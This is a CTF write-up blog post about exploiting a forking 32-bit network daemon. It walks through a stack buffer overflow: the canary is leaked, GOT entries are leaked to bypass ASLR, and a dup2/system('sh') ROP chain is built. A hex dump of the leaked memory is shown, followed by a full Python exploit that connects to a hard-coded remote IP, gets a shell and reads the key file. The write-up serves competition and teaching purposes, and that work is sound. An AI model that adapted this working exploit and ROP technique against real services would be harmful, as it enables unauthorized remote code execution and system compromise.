We are given a binary of accept-fork network demon from 58.229.183.18 / 8888. the binary has NX enabled but there is no PIE. The task tells us that the server version is Ubuntu 13.10. Therefore we have the libc binary as well.
There are a lot of bugs and vulnerability points, however, most of them are not exploitable. The only exploitable bug is at sub_8048fc6.
It is a very simple stack-based BOF. the challenge is that the stack is protected by canary. however we can leak the canary using "sprintf". the memory distance between buf and canary is 0xA. but we can overwrite the buf up to 0x6e. This situation is exploitable because the binary is forking (canary value and GOT entries are inherited). If the binary is a super daemon we cannot exploit this situation. However, since the daemon is forking, we can bypass ALSR, Canary by leaking the GOT, Canary information. Once we leak the GOT and Canary values, we are ready to build our ROP exploit payload.
First, we get canary by giving precisely 0xA+1 length of buf input (we give 1 byte more since the lower byte of canary is always NULL).
stack cookie: 0x84c38b00
Then we leak the GOT with "read" function.
// leaked GOT information from server
00000e60 6f 75 20 73 75 72 65 3f 20 28 79 2f 6e 29 20 0a |ou sure? (y/n) .|
00000e70
14 af 04 08
38 99 74 b7
90 c9 73 b7
c0 1a 65 b7
90 e8 63 b7
50 84 61 b7
46 86 04 08 a0 71 66 b7 |..c.P.a.F....qf.|
00000e90 80 15 65 b7 30 82 61 b7 86 86 04 08 96 86 04 08 |..e.0.a.........|
00000ea0 90 e3 63 b7 c0 37 5e b7 10 78 57 b7 d6 86 04 08 |..c..7^..xW.....|
00000eb0 10 e9 63 b7 00 16 65 b7 a0 5c 69 b7 16 87 04 08 |..c...e..\i.....|
00000ec0 a0 87 61 b7 d0 d5 58 b7 90 71 66 b7 80 17 65 b7 |..a...X..qf...e.|
00000ed0 50 c8 5a b7 40 1b 65 b7 10 cd 58 b7 10 e8 63 b7 |P.Z.@.e...X...c.|
00000ee0 00 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 |........d.......|
00000ef0 80 e9 70 b7 00 00 00 00 00 00 00 00 00 00 00 00 |..p.............|
00000f00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
Using the leaked information, we calculate the pppr gadget and dup2 from Ubuntu13.10 libc (the angry bird binary has system("sh") function hard coded in binary, so the only thing we need is dup2 and pppr)
below is the final ROP payload we want.
[&dup2][&pppr][4][0][&dup2][&system("sh")][4][1]
After succeeding from local server, we also got shell from remote server.
# final exploit (python)
from socket import *
from struct import *
import sys, os, time, base64, ctypes
''' game start! '''
s = socket(AF_INET, SOCK_STREAM)
#s.connect( ('localhost', 8888) )
#cookie = 0x9e0dc000
s.connect( ('58.229.183.18', 8888) )
cookie = 0x84c38b00
r = s.recv(4096)
print r
raw_input()
time.sleep(3)
s.send('4\n')
r = s.recv(4096)
print r
''' stage 1 : got leak
sh = 0x8048c62
read = 0xb76ecc50
ppr = read - 0x52A8
dup2 = read + 0x960
got = 0x804b000
write = 0x80486E0
payload = 'A'*10
payload += pack('L', cookie)
payload += 'B'*12
payload += pack('<L', write)
payload += pack('<L', 0xdeadbeef)
payload += pack('<L', 4)
payload += pack('<L', got)
payload += pack('<L', 256)
'''
sh = 0x8048c62
read = 0xb763e890
ppr = read - 0x52A8
dup2 = read + 0x960
payload = 'A'*10
payload += pack('L', cookie)
payload += 'B'*12
payload += pack('<L', dup2)
payload += pack('<L', ppr)
payload += pack('<L', 4)
payload += pack('<L', 0)
payload += pack('<L', dup2)
payload += pack('<L', sh)
payload += pack('<L', 4)
payload += pack('<L', 1)
s.send( payload + '\n' )
r = s.recv(4096)
print r
s.send( '/bin/cat key\n' )
r = s.recv(4096)
print r
s.send( 'id\n' )
r = s.recv(4096)
print r
s.send( 'id\n' )
r = s.recv(4096)
print r
'Games > CTF' 카테고리의 다른 글
PlaidCTF 2014 hudak (0) | 2014.04.14 |
---|---|
Codegate 2014 4stone writeup (0) | 2014.03.03 |
Olympic CTF 2014 Echof writeup (1) | 2014.02.10 |
PHDays 2014 miXer (0) | 2014.01.27 |
PHDays 2014 FreeBDSM (0) | 2014.01.27 |